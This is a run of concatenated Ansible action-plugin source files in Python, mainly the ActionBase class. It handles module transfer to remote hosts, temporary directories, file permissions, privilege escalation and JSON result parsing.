# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.
#
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

from ansible.plugins.action import ActionBase
from ansible.plugins.action.net_template import ActionModule as NetActionModule

class ActionModule(NetActionModule, ActionBase):
    pass







#
# Copyright 2015 Peter Sprygada <psprygada@ansible.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.
#
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

import sys
import os
import time
import glob
import urlparse

from ansible.plugins.action import ActionBase
from ansible.utils.boolean import boolean
from ansible.utils.unicode import to_unicode

BOOLEANS = ('true', 'false', 'yes', 'no')

class ActionModule(ActionBase):

    TRANSFERS_FILES = False

    def run(self, tmp=None, task_vars=None):
        result = super(ActionModule, self).run(tmp, task_vars)
        result['changed'] = False

        try:
            self._handle_template()
        except ValueError as exc:
            return dict(failed=True, msg=exc.message)

        result.update(self._execute_module(module_name=self._task.action,
            module_args=self._task.args, task_vars=task_vars))

        if self._task.args.get('backup') and result.get('_backup'):
            # User requested backup and no error occurred in module.
            # NOTE: If there is a parameter error, _backup key may not be in results.
            self._write_backup(task_vars['inventory_hostname'], result['_backup'])

        if '_backup' in result:
            del result['_backup']

        return result

    def _get_working_path(self):
        cwd = self._loader.get_basedir()
        if self._task._role is not None:
            cwd = self._task._role._role_path
        return cwd

    def _write_backup(self, host, contents):
        backup_path = self._get_working_path() + '/backup'
        if not os.path.exists(backup_path):
            os.mkdir(backup_path)
        for fn in glob.glob('%s/%s*' % (backup_path, host)):
            os.remove(fn)
        tstamp = time.strftime("%Y-%m-%d@%H:%M:%S", time.localtime(time.time()))
        filename = '%s/%s_config.%s' % (backup_path, host, tstamp)
        open(filename, 'w').write(contents)

    def _handle_template(self):
        src = self._task.args.get('src')
        working_path = self._get_working_path()

        if os.path.isabs(src) or urlparse.urlsplit('src').scheme:
            source = src
        else:
            source = self._loader.path_dwim_relative(working_path, 'templates', src)
            if not source:
                source = self._loader.path_dwim_relative(working_path, src)

        if not os.path.exists(source):
            return

        try:
            with open(source, 'r') as f:
                template_data = to_unicode(f.read())
        except IOError:
            return dict(failed=True, msg='unable to load src file')

        # Create a template search path in the following order:
        # [working_path, self_role_path, dependent_role_paths, dirname(source)]
        searchpath = [working_path]
        if self._task._role is not None:
            searchpath.append(self._task._role._role_path)
            dep_chain = self._task._block.get_dep_chain()
            if dep_chain is not None:
                for role in dep_chain:
                    searchpath.append(role._role_path)
        searchpath.append(os.path.dirname(source))
        self._templar.environment.loader.searchpath = searchpath
        self._task.args['src'] = self._templar.template(template_data)








# (c) 2012-2014, Michael DeHaan <michael.dehaan@gmail.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

# Make coding more python3-ish
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

import base64
import json
import os
import pipes
import random
import re
import stat
import tempfile
import time
from abc import ABCMeta, abstractmethod

from ansible.compat.six import binary_type, text_type, iteritems, with_metaclass

from ansible import constants as C
from ansible.errors import AnsibleError, AnsibleConnectionFailure
from ansible.executor.module_common import modify_module
from ansible.release import __version__
from ansible.parsing.utils.jsonify import jsonify
from ansible.utils.unicode import to_bytes, to_str, to_unicode

try:
    from __main__ import display
except ImportError:
    from ansible.utils.display import Display
    display = Display()


class ActionBase(with_metaclass(ABCMeta, object)):

    '''
    This class is the base class for all action plugins, and defines
    code common to all actions. The base class handles the connection
    by putting/getting files and executing commands based on the current
    action in use.
    '''

    def __init__(self, task, connection, play_context, loader, templar, shared_loader_obj):
        self._task              = task
        self._connection        = connection
        self._play_context      = play_context
        self._loader            = loader
        self._templar           = templar
        self._shared_loader_obj = shared_loader_obj
        # Backwards compat: self._display isn't really needed, just import the global display and use that.
        self._display           = display

        self._cleanup_remote_tmp  = False
        self._supports_check_mode = True

    @abstractmethod
    def run(self, tmp=None, task_vars=None):
        """ Action Plugins should implement this method to perform their
        tasks.  Everything else in this base class is a helper method for the
        action plugin to do that.

        :kwarg tmp: Temporary directory.  Sometimes an action plugin sets up
            a temporary directory and then calls another module.  This parameter
            allows us to reuse the same directory for both.
        :kwarg task_vars: The variables (host vars, group vars, config vars,
            etc) associated with this task.
        :returns: dictionary of results from the module

        Implementors of action modules may find the following variables especially useful:

        * Module parameters.  These are stored in self._task.args
        """
        # store the module invocation details into the results
        results =  {}
        if self._task.async == 0:
            results['invocation'] = dict(
                module_name = self._task.action,
                module_args = self._task.args,
            )
        return results

    def _remote_file_exists(self, path):
        cmd = self._connection._shell.exists(path)
        result = self._low_level_execute_command(cmd=cmd, sudoable=True)
        if result['rc'] == 0:
            return True
        return False

    def _configure_module(self, module_name, module_args, task_vars=None):
        '''
        Handles the loading and templating of the module code through the
        modify_module() function.
        '''
        if task_vars is None:
            task_vars = dict()

        # Search module path(s) for named module.
        for mod_type in self._connection.module_implementation_preferences:
            # Check to determine if PowerShell modules are supported, and apply
            # some fixes (hacks) to module name + args.
            if mod_type == '.ps1':
                # win_stat, win_file, and win_copy are not just like their
                # python counterparts but they are compatible enough for our
                # internal usage
                if module_name in ('stat', 'file', 'copy') and self._task.action != module_name:
                    module_name = 'win_%s' % module_name

                # Remove extra quotes surrounding path parameters before sending to module.
                if module_name in ('win_stat', 'win_file', 'win_copy', 'slurp') and module_args and hasattr(self._connection._shell, '_unquote'):
                    for key in ('src', 'dest', 'path'):
                        if key in module_args:
                            module_args[key] = self._connection._shell._unquote(module_args[key])

            module_path = self._shared_loader_obj.module_loader.find_plugin(module_name, mod_type)
            if module_path:
                break
        else:  # This is a for-else: http://bit.ly/1ElPkyg
            # Use Windows version of ping module to check module paths when
            # using a connection that supports .ps1 suffixes. We check specifically
            # for win_ping here, otherwise the code would look for ping.ps1
            if '.ps1' in self._connection.module_implementation_preferences:
                ping_module = 'win_ping'
            else:
                ping_module = 'ping'
            module_path2 = self._shared_loader_obj.module_loader.find_plugin(ping_module, self._connection.module_implementation_preferences)
            if module_path2 is not None:
                raise AnsibleError("The module %s was not found in configured module paths" % (module_name))
            else:
                raise AnsibleError("The module %s was not found in configured module paths. "
                                   "Additionally, core modules are missing. If this is a checkout, "
                                   "run 'git submodule update --init --recursive' to correct this problem." % (module_name))

        # insert shared code and arguments into the module
        (module_data, module_style, module_shebang) = modify_module(module_name, module_path, module_args, task_vars=task_vars, module_compression=self._play_context.module_compression)

        return (module_style, module_shebang, module_data, module_path)

    def _compute_environment_string(self):
        '''
        Builds the environment string to be used when executing the remote task.
        '''

        final_environment = dict()
        if self._task.environment is not None:
            environments = self._task.environment
            if not isinstance(environments, list):
                environments = [ environments ]

            # the environments as inherited need to be reversed, to make
            # sure we merge in the parent's values first so those in the
            # block then task 'win' in precedence
            environments.reverse()
            for environment in environments:
                if environment is None:
                    continue
                temp_environment = self._templar.template(environment)
                if not isinstance(temp_environment, dict):
                    raise AnsibleError("environment must be a dictionary, received %s (%s)" % (temp_environment, type(temp_environment)))
                # very deliberately using update here instead of combine_vars, as
                # these environment settings should not need to merge sub-dicts
                final_environment.update(temp_environment)

        final_environment = self._templar.template(final_environment)
        return self._connection._shell.env_prefix(**final_environment)

    def _early_needs_tmp_path(self):
        '''
        Determines if a temp path should be created before the action is executed.
        '''

        return getattr(self, 'TRANSFERS_FILES', False)

    def _late_needs_tmp_path(self, tmp, module_style):
        '''
        Determines if a temp path is required after some early actions have already taken place.
        '''
        if tmp and "tmp" in tmp:
            # tmp has already been created
            return False
        if not self._connection.has_pipelining or not self._play_context.pipelining or C.DEFAULT_KEEP_REMOTE_FILES or self._play_context.become_method == 'su':
            # tmp is necessary to store the module source code
            # or we want to keep the files on the target system
            return True
        if module_style != "new":
            # even when conn has pipelining, old style modules need tmp to store arguments
            return True
        return False

    def _make_tmp_path(self, remote_user):
        '''
        Create and return a temporary path on a remote box.
        '''

        basefile = 'ansible-tmp-%s-%s' % (time.time(), random.randint(0, 2**48))
        use_system_tmp = False

        if self._play_context.become and self._play_context.become_user not in ('root', remote_user):
            use_system_tmp = True

        tmp_mode = 0o700

        cmd = self._connection._shell.mkdtemp(basefile, use_system_tmp, tmp_mode)
        result = self._low_level_execute_command(cmd, sudoable=False)

        # error handling on this seems a little aggressive?
        if result['rc'] != 0:
            if result['rc'] == 5:
                output = 'Authentication failure.'
            elif result['rc'] == 255 and self._connection.transport in ('ssh',):

                if self._play_context.verbosity > 3:
                    output = u'SSH encountered an unknown error. The output was:\n%s%s' % (result['stdout'], result['stderr'])
                else:
                    output = (u'SSH encountered an unknown error during the connection.'
                            ' We recommend you re-run the command using -vvvv, which will enable SSH debugging output to help diagnose the issue')

            elif u'No space left on device' in result['stderr']:
                output = result['stderr']
            else:
                output = ('Authentication or permission failure.'
                        ' In some cases, you may have been able to authenticate and did not have permissions on the remote directory.'
                        ' Consider changing the remote temp path in ansible.cfg to a path rooted in "/tmp".'
                        ' Failed command was: %s, exited with result %d' % (cmd, result['rc']))
            if 'stdout' in result and result['stdout'] != u'':
                output = output + u": %s" % result['stdout']
            raise AnsibleConnectionFailure(output)

        try:
            stdout_parts = result['stdout'].strip().split('%s=' % basefile, 1)
            rc = self._connection._shell.join_path(stdout_parts[-1], u'').splitlines()[-1]
        except IndexError:
            # stdout was empty or just space, set to / to trigger error in next if
            rc = '/'

        # Catch failure conditions, files should never be
        # written to locations in /.
        if rc == '/':
            raise AnsibleError('failed to resolve remote temporary directory from %s: `%s` returned empty string' % (basefile, cmd))

        return rc

    def _remove_tmp_path(self, tmp_path):
        '''Remove a temporary path we created. '''

        if tmp_path and self._cleanup_remote_tmp and not C.DEFAULT_KEEP_REMOTE_FILES and "-tmp-" in tmp_path:
            cmd = self._connection._shell.remove(tmp_path, recurse=True)
            # If we have gotten here we have a working ssh configuration.
            # If ssh breaks we could leave tmp directories out on the remote system.
            self._low_level_execute_command(cmd, sudoable=False)

    def _transfer_file(self, local_path, remote_path):
        self._connection.put_file(local_path, remote_path)
        return remote_path

    def _transfer_data(self, remote_path, data):
        '''
        Copies the module data out to the temporary module path.
        '''

        if isinstance(data, dict):
            data = jsonify(data)

        afd, afile = tempfile.mkstemp()
        afo = os.fdopen(afd, 'wb')
        try:
            data = to_bytes(data, errors='strict')
            afo.write(data)
        except Exception as e:
            raise AnsibleError("failure writing module data to temporary file for transfer: %s" % str(e))

        afo.flush()
        afo.close()

        try:
            self._transfer_file(afile, remote_path)
        finally:
            os.unlink(afile)

        return remote_path

    def _fixup_perms(self, remote_paths, remote_user, execute=True):
        """
        We need the files we upload to be readable (and sometimes executable)
        by the user being sudo'd to but we want to limit other people's access
        (because the files could contain passwords or other private
        information.  We achieve this in one of these ways:

        * If no sudo is performed or the remote_user is sudo'ing to
          themselves, we don't have to change permissions.
        * If the remote_user sudo's to a privileged user (for instance, root),
          we don't have to change permissions
        * If the remote_user sudo's to an unprivileged user then we attempt to
          grant the unprivileged user access via file system acls.
        * If granting file system acls fails we try to change the owner of the
          file with chown which only works in case the remote_user is
          privileged or the remote systems allows chown calls by unprivileged
          users (e.g. HP-UX)
        * If the chown fails we can set the file to be world readable so that
          the second unprivileged user can read the file.
          Since this could allow other users to get access to private
          information we only do this ansible is configured with
          "allow_world_readable_tmpfiles" in the ansible.cfg
        """
        if self._connection._shell.SHELL_FAMILY == 'powershell':
            # This won't work on Powershell as-is, so we'll just completely skip until
            # we have a need for it, at which point we'll have to do something different.
            return remote_paths

        if self._play_context.become and self._play_context.become_user not in ('root', remote_user):
            # Unprivileged user that's different than the ssh user.  Let's get
            # to work!

            # Try to use file system acls to make the files readable for sudo'd
            # user
            if execute:
                mode = 'rx'
            else:
                mode = 'rX'

            res = self._remote_set_user_facl(remote_paths, self._play_context.become_user, mode)
            if res['rc'] != 0:
                # File system acls failed; let's try to use chown next
                # Set executable bit first as on some systems an
                # unprivileged user can use chown
                if execute:
                    res = self._remote_chmod(remote_paths, 'u+x')
                    if res['rc'] != 0:
                        raise AnsibleError('Failed to set file mode on remote temporary files (rc: {0}, err: {1})'.format(res['rc'], res['stderr']))

                res = self._remote_chown(remote_paths, self._play_context.become_user)
                if res['rc'] != 0 and remote_user == 'root':
                    # chown failed even if remove_user is root
                    raise AnsibleError('Failed to change ownership of the temporary files Ansible needs to create despite connecting as root.  Unprivileged become user would be unable to read the file.')
                elif res['rc'] != 0:
                    if C.ALLOW_WORLD_READABLE_TMPFILES:
                        # chown and fs acls failed -- do things this insecure
                        # way only if the user opted in in the config file
                        display.warning('Using world-readable permissions for temporary files Ansible needs to create when becoming an unprivileged user which may be insecure. For information on securing this, see https://docs.ansible.com/ansible/become.html#becoming-an-unprivileged-user')
                        res = self._remote_chmod(remote_paths, 'a+%s' % mode)
                        if res['rc'] != 0:
                            raise AnsibleError('Failed to set file mode on remote files (rc: {0}, err: {1})'.format(res['rc'], res['stderr']))
                    else:
                        raise AnsibleError('Failed to set permissions on the temporary files Ansible needs to create when becoming an unprivileged user (rc: {0}, err: {1}). For information on working around this, see https://docs.ansible.com/ansible/become.html#becoming-an-unprivileged-user'.format(res['rc'], res['stderr']))
        elif execute:
            # Can't depend on the file being transferred with execute
            # permissions.  Only need user perms because no become was
            # used here
            res = self._remote_chmod(remote_paths, 'u+x')
            if res['rc'] != 0:
                raise AnsibleError('Failed to set file mode on remote files (rc: {0}, err: {1})'.format(res['rc'], res['stderr']))

        return remote_paths

    def _remote_chmod(self, paths, mode, sudoable=False):
        '''
        Issue a remote chmod command
        '''
        cmd = self._connection._shell.chmod(paths, mode)
        res = self._low_level_execute_command(cmd, sudoable=sudoable)
        return res

    def _remote_chown(self, paths, user, sudoable=False):
        '''
        Issue a remote chown command
        '''
        cmd = self._connection._shell.chown(paths, user)
        res = self._low_level_execute_command(cmd, sudoable=sudoable)
        return res

    def _remote_set_user_facl(self, paths, user, mode, sudoable=False):
        '''
        Issue a remote call to setfacl
        '''
        cmd = self._connection._shell.set_user_facl(paths, user, mode)
        res = self._low_level_execute_command(cmd, sudoable=sudoable)
        return res

    def _execute_remote_stat(self, path, all_vars, follow, tmp=None):
        '''
        Get information from remote file.
        '''
        module_args=dict(
           path=path,
           follow=follow,
           get_md5=False,
           get_checksum=True,
           checksum_algo='sha1',
        )
        mystat = self._execute_module(module_name='stat', module_args=module_args, task_vars=all_vars, tmp=tmp, delete_remote_tmp=(tmp is None))

        if 'failed' in mystat and mystat['failed']:
            raise AnsibleError('Failed to get information on remote file (%s): %s' % (path, mystat['msg']))

        if not mystat['stat']['exists']:
            # empty might be matched, 1 should never match, also backwards compatible
            mystat['stat']['checksum'] = '1'

        # happens sometimes when it is a dir and not on bsd
        if not 'checksum' in mystat['stat']:
            mystat['stat']['checksum'] = ''

        return mystat['stat']

    def _remote_checksum(self, path, all_vars, follow=False):
        '''
        Produces a remote checksum given a path,
        Returns a number 0-4 for specific errors instead of checksum, also ensures it is different
        0 = unknown error
        1 = file does not exist, this might not be an error
        2 = permissions issue
        3 = its a directory, not a file
        4 = stat module failed, likely due to not finding python
        '''
        x = "0" # unknown error has occured
        try:
            remote_stat = self._execute_remote_stat(path, all_vars, follow=follow)
            if remote_stat['exists'] and remote_stat['isdir']:
                x = "3" # its a directory not a file
            else:
                x = remote_stat['checksum'] # if 1, file is missing
        except AnsibleError as e:
            errormsg = to_unicode(e)
            if errormsg.endswith('Permission denied'):
                x = "2" # cannot read file
            elif errormsg.endswith('MODULE FAILURE'):
                x = "4" # python not found or module uncaught exception
        finally:
            return x


    def _remote_expand_user(self, path):
        ''' takes a remote path and performs tilde expansion on the remote host '''
        if not path.startswith('~'): # FIXME: Windows paths may start with "~ instead of just ~
            return path

        # FIXME: Can't use os.path.sep for Windows paths.
        split_path = path.split(os.path.sep, 1)
        expand_path = split_path[0]
        if expand_path == '~':
            if self._play_context.become and self._play_context.become_user:
                expand_path = '~%s' % self._play_context.become_user

        cmd = self._connection._shell.expand_user(expand_path)
        data = self._low_level_execute_command(cmd, sudoable=False)
        #initial_fragment = utils.last_non_blank_line(data['stdout'])
        initial_fragment = data['stdout'].strip().splitlines()[-1]

        if not initial_fragment:
            # Something went wrong trying to expand the path remotely.  Return
            # the original string
            return path

        if len(split_path) > 1:
            return self._connection._shell.join_path(initial_fragment, *split_path[1:])
        else:
            return initial_fragment

    @staticmethod
    def _filter_non_json_lines(data):
        '''
        Used to avoid random output from SSH at the top of JSON output, like messages from
        tcagetattr, or where dropbear spews MOTD on every single command (which is nuts).

        need to filter anything which does not start with '{', '[', or is an empty line.
        Have to be careful how we filter trailing junk as multiline JSON is valid.
        '''
        # Filter initial junk
        lines = data.splitlines()
        for start, line in enumerate(lines):
            line = line.strip()
            if line.startswith(u'{'):
                endchar = u'}'
                break
            elif line.startswith(u'['):
                endchar = u']'
                break
        else:
            display.debug('No start of json char found')
            raise ValueError('No start of json char found')

        # Filter trailing junk
        lines = lines[start:]
        lines.reverse()
        for end, line in enumerate(lines):
            if line.strip().endswith(endchar):
                break
        else:
            display.debug('No end of json char found')
            raise ValueError('No end of json char found')

        if end < len(lines) - 1:
            # Trailing junk is uncommon and can point to things the user might
            # want to change.  So print a warning if we find any
            trailing_junk = lines[:end]
            trailing_junk.reverse()
            display.warning('Module invocation had junk after the JSON data: %s' % '\n'.join(trailing_junk))

        lines = lines[end:]
        lines.reverse()
        return '\n'.join(lines)

    def _strip_success_message(self, data):
        '''
        Removes the BECOME-SUCCESS message from the data.
        '''
        if data.strip().startswith('BECOME-SUCCESS-'):
            data = re.sub(r'^((\r)?\n)?BECOME-SUCCESS.*(\r)?\n', '', data)
        return data

    def _execute_module(self, module_name=None, module_args=None, tmp=None, task_vars=None, persist_files=False, delete_remote_tmp=True):
        '''
        Transfer and run a module along with its arguments.
        '''
        if task_vars is None:
            task_vars = dict()

        # if a module name was not specified for this execution, use
        # the action from the task
        if module_name is None:
            module_name = self._task.action
        if module_args is None:
            module_args = self._task.args

        # set check mode in the module arguments, if required
        if self._play_context.check_mode:
            if not self._supports_check_mode:
                raise AnsibleError("check mode is not supported for this operation")
            module_args['_ansible_check_mode'] = True
        else:
            module_args['_ansible_check_mode'] = False

        # Get the connection user for permission checks
        remote_user = task_vars.get('ansible_ssh_user') or self._play_context.remote_user

        # set no log in the module arguments, if required
        module_args['_ansible_no_log'] = self._play_context.no_log or C.DEFAULT_NO_TARGET_SYSLOG

        # set debug in the module arguments, if required
        module_args['_ansible_debug'] = C.DEFAULT_DEBUG

        # let module know we are in diff mode
        module_args['_ansible_diff'] = self._play_context.diff

        # let module know our verbosity
        module_args['_ansible_verbosity'] = display.verbosity

        # give the module information about the ansible version
        module_args['_ansible_version'] = __version__

        # give the module information about its name
        module_args['_ansible_module_name'] = module_name

        # set the syslog facility to be used in the module
        module_args['_ansible_syslog_facility'] = task_vars.get('ansible_syslog_facility', C.DEFAULT_SYSLOG_FACILITY)

        # let module know about filesystems that selinux treats specially
        module_args['_ansible_selinux_special_fs'] = C.DEFAULT_SELINUX_SPECIAL_FS

        (module_style, shebang, module_data, module_path) = self._configure_module(module_name=module_name, module_args=module_args, task_vars=task_vars)
        display.vvv("Using module file %s" % module_path)
        if not shebang and module_style != 'binary':
            raise AnsibleError("module (%s) is missing interpreter line" % module_name)

        # a remote tmp path may be necessary and not already created
        remote_module_path = None
        args_file_path = None
        if not tmp and self._late_needs_tmp_path(tmp, module_style):
            tmp = self._make_tmp_path(remote_user)

        if tmp:
            remote_module_filename = self._connection._shell.get_remote_filename(module_path)
            remote_module_path = self._connection._shell.join_path(tmp, remote_module_filename)
            if module_style in ('old', 'non_native_want_json', 'binary'):
                # we'll also need a temp file to hold our module arguments
                args_file_path = self._connection._shell.join_path(tmp, 'args')

        if remote_module_path or module_style != 'new':
            display.debug("transferring module to remote %s" % remote_module_path)
            if module_style == 'binary':
                self._transfer_file(module_path, remote_module_path)
            else:
                self._transfer_data(remote_module_path, module_data)
            if module_style == 'old':
                # we need to dump the module args to a k=v string in a file on
                # the remote system, which can be read and parsed by the module
                args_data = ""
                for k,v in iteritems(module_args):
                    args_data += '%s=%s ' % (k, pipes.quote(text_type(v)))
                self._transfer_data(args_file_path, args_data)
            elif module_style in ('non_native_want_json', 'binary'):
                self._transfer_data(args_file_path, json.dumps(module_args))
            display.debug("done transferring module to remote")

        environment_string = self._compute_environment_string()

        remote_files = None

        if args_file_path:
            remote_files = tmp, remote_module_path, args_file_path
        elif remote_module_path:
            remote_files = tmp, remote_module_path

        # Fix permissions of the tmp path and tmp files.  This should be
        # called after all files have been transferred.
        if remote_files:
            self._fixup_perms(remote_files, remote_user)

        cmd = ""
        in_data = None

        if self._connection.has_pipelining and self._play_context.pipelining and not C.DEFAULT_KEEP_REMOTE_FILES and module_style == 'new':
            in_data = module_data
        else:
            if remote_module_path:
                cmd = remote_module_path

        rm_tmp = None
        if tmp and "tmp" in tmp and not C.DEFAULT_KEEP_REMOTE_FILES and not persist_files and delete_remote_tmp:
            if not self._play_context.become or self._play_context.become_user == 'root':
                # not sudoing or sudoing to root, so can cleanup files in the same step
                rm_tmp = tmp

        cmd = self._connection._shell.build_module_command(environment_string, shebang, cmd, arg_path=args_file_path, rm_tmp=rm_tmp)
        cmd = cmd.strip()

        sudoable = True
        if module_name == "accelerate":
            # always run the accelerate module as the user
            # specified in the play, not the sudo_user
            sudoable = False

        res = self._low_level_execute_command(cmd, sudoable=sudoable, in_data=in_data)

        if tmp and "tmp" in tmp and not C.DEFAULT_KEEP_REMOTE_FILES and not persist_files and delete_remote_tmp:
            if self._play_context.become and self._play_context.become_user != 'root':
                # not sudoing to root, so maybe can't delete files as that other user
                # have to clean up temp files as original user in a second step
                tmp_rm_cmd = self._connection._shell.remove(tmp, recurse=True)
                tmp_rm_res = self._low_level_execute_command(tmp_rm_cmd, sudoable=False)
                tmp_rm_data = self._parse_returned_data(tmp_rm_res)
                if tmp_rm_data.get('rc', 0) != 0:
                    display.warning('Error deleting remote temporary files (rc: {0}, stderr: {1})'.format(tmp_rm_res.get('rc'), tmp_rm_res.get('stderr', 'No error string available.')))

        # parse the main result
        data = self._parse_returned_data(res)

        # pre-split stdout into lines, if stdout is in the data and there
        # isn't already a stdout_lines value there
        if 'stdout' in data and 'stdout_lines' not in data:
            data['stdout_lines'] = data.get('stdout', u'').splitlines()

        display.debug("done with _execute_module (%s, %s)" % (module_name, module_args))
        return data

    def _parse_returned_data(self, res):
        try:
            data = json.loads(self._filter_non_json_lines(res.get('stdout', u'')))
            data['_ansible_parsed'] = True
        except ValueError:
            # not valid json, lets try to capture error
            data = dict(failed=True, _ansible_parsed=False)
            data['msg'] = "MODULE FAILURE"
            data['module_stdout'] = res.get('stdout', u'')
            if 'stderr' in res:
                data['module_stderr'] = res['stderr']
                if res['stderr'].startswith(u'Traceback'):
                    data['exception'] = res['stderr']
        return data

    def _low_level_execute_command(self, cmd, sudoable=True, in_data=None, executable=None, encoding_errors='replace'):
        '''
        This is the function which executes the low level shell command, which
        may be commands to create/remove directories for temporary files, or to
        run the module code or python directly when pipelining.

        :kwarg encoding_errors: If the value returned by the command isn't
            utf-8 then we have to figure out how to transform it to unicode.
            If the value is just going to be displayed to the user (or
            discarded) then the default of 'replace' is fine.  If the data is
            used as a key or is going to be written back out to a file
            verbatim, then this won't work.  May have to use some sort of
            replacement strategy (python3 could use surrogateescape)
        '''

        display.debug("_low_level_execute_command(): starting")
        if not cmd:
            # this can happen with powershell modules when there is no analog to a Windows command (like chmod)
            display.debug("_low_level_execute_command(): no command, exiting")
            return dict(stdout='', stderr='', rc=254)

        allow_same_user = C.BECOME_ALLOW_SAME_USER
        same_user = self._play_context.become_user == self._play_context.remote_user
        if sudoable and self._play_context.become and (allow_same_user or not same_user):
            display.debug("_low_level_execute_command(): using become for this command")
            cmd = self._play_context.make_become_cmd(cmd, executable=executable)

        if self._connection.allow_executable:
            if executable is None:
                executable = self._play_context.executable
                # mitigation for SSH race which can drop stdout (https://github.com/ansible/ansible/issues/13876)
                # only applied for the default executable to avoid interfering with the raw action
                cmd = self._connection._shell.append_command(cmd, 'sleep 0')
            if executable:
                cmd = executable + ' -c ' + pipes.quote(cmd)

        display.debug("_low_level_execute_command(): executing: %s" % (cmd,))

        # Change directory to basedir of task for command execution
        cwd = os.getcwd()
        os.chdir(self._loader.get_basedir())
        try:
            rc, stdout, stderr = self._connection.exec_command(cmd, in_data=in_data, sudoable=sudoable)
        finally:
            os.chdir(cwd)

        # stdout and stderr may be either a file-like or a bytes object.
        # Convert either one to a text type
        if isinstance(stdout, binary_type):
            out = to_unicode(stdout, errors=encoding_errors)
        elif not isinstance(stdout, text_type):
            out = to_unicode(b''.join(stdout.readlines()), errors=encoding_errors)
        else:
            out = stdout

        if isinstance(stderr, binary_type):
            err = to_unicode(stderr, errors=encoding_errors)
        elif not isinstance(stderr, text_type):
            err = to_unicode(b''.join(stderr.readlines()), errors=encoding_errors)
        else:
            err = stderr

        if rc is None:
            rc = 0

        # be sure to remove the BECOME-SUCCESS message now
        out = self._strip_success_message(out)

        display.debug("_low_level_execute_command() done: rc=%d, stdout=%s, stderr=%s" % (rc, stdout, stderr))
        return dict(rc=rc, stdout=out, stdout_lines=out.splitlines(), stderr=err)

    def _get_first_available_file(self, faf, of=None, searchdir='files'):

        display.deprecated("first_available_file, use with_first_found or lookup('first_found',...) instead")
        for fn in faf:
            fnt = self._templar.template(fn)
            if self._task._role is not None:
                lead = self._task._role._role_path
            else:
                lead = fnt
            fnd = self._loader.path_dwim_relative(lead, searchdir, fnt)

            if not os.path.exists(fnd) and of is not None:
                if self._task._role is not None:
                    lead = self._task._role._role_path
                else:
                    lead = of
                fnd = self._loader.path_dwim_relative(lead, searchdir, of)

            if os.path.exists(fnd):
                return fnd

        return None

    def _get_diff_data(self, destination, source, task_vars, source_file=True):

        diff = {}
        display.debug("Going to peek to see if file has changed permissions")
        peek_result = self._execute_module(module_name='file', module_args=dict(path=destination, diff_peek=True), task_vars=task_vars, persist_files=True)

        if not('failed' in peek_result and peek_result['failed']) or peek_result.get('rc', 0) == 0:

            if peek_result['state'] == 'absent':
                diff['before'] = ''
            elif peek_result['appears_binary']:
                diff['dst_binary'] = 1
            elif C.MAX_FILE_SIZE_FOR_DIFF > 0 and peek_result['size'] > C.MAX_FILE_SIZE_FOR_DIFF:
                diff['dst_larger'] = C.MAX_FILE_SIZE_FOR_DIFF
            else:
                display.debug("Slurping the file %s" % source)
                dest_result = self._execute_module(module_name='slurp', module_args=dict(path=destination), task_vars=task_vars, persist_files=True)
                if 'content' in dest_result:
                    dest_contents = dest_result['content']
                    if dest_result['encoding'] == 'base64':
                        dest_contents = base64.b64decode(dest_contents)
                    else:
                        raise AnsibleError("unknown encoding in content option, failed: %s" % dest_result)
                    diff['before_header'] = destination
                    diff['before'] = dest_contents

            if source_file:
                st = os.stat(source)
                if C.MAX_FILE_SIZE_FOR_DIFF > 0 and st[stat.ST_SIZE] > C.MAX_FILE_SIZE_FOR_DIFF:
                    diff['src_larger'] = C.MAX_FILE_SIZE_FOR_DIFF
                else:
                    display.debug("Reading local copy of the file %s" % source)
                    try:
                        src = open(source)
                        src_contents = src.read()
                    except Exception as e:
                        raise AnsibleError("Unexpected error while reading source (%s) for diff: %s " % (source, str(e)))

                    if "\x00" in src_contents:
                        diff['src_binary'] = 1
                    else:
                        diff['after_header'] = source
                        diff['after'] = src_contents
            else:
                display.debug("source of file passed in")
                diff['after_header'] = 'dynamically generated'
                diff['after'] = source

        if self._play_context.no_log:
            if 'before' in diff:
                diff["before"] = ""
            if 'after' in diff:
                diff["after"] = " [[ Diff output has been hidden because 'no_log: true' was specified for this result ]]"

        return diff

    def _find_needle(self, dirname, needle):
        '''
            find a needle in haystack of paths, optionally using 'dirname' as a subdir.
            This will build the ordered list of paths to search and pass them to dwim
            to get back the first existing file found.
        '''

        path_stack = self._task.get_search_path()

        result = self._loader.path_dwim_relative_stack(path_stack, dirname, needle)

        if result is None:
            raise AnsibleError("Unable to find '%s' in expected paths." % to_str(needle))

        return result







#
# Copyright 2015 Peter Sprygada <psprygada@ansible.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.
#
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

from ansible.plugins.action import ActionBase
from ansible.plugins.action.net_config import ActionModule as NetActionModule

class ActionModule(NetActionModule, ActionBase):
    pass








# (c) 2012, Michael DeHaan <michael.dehaan@gmail.com>
#
# This file is part of Ansible
#
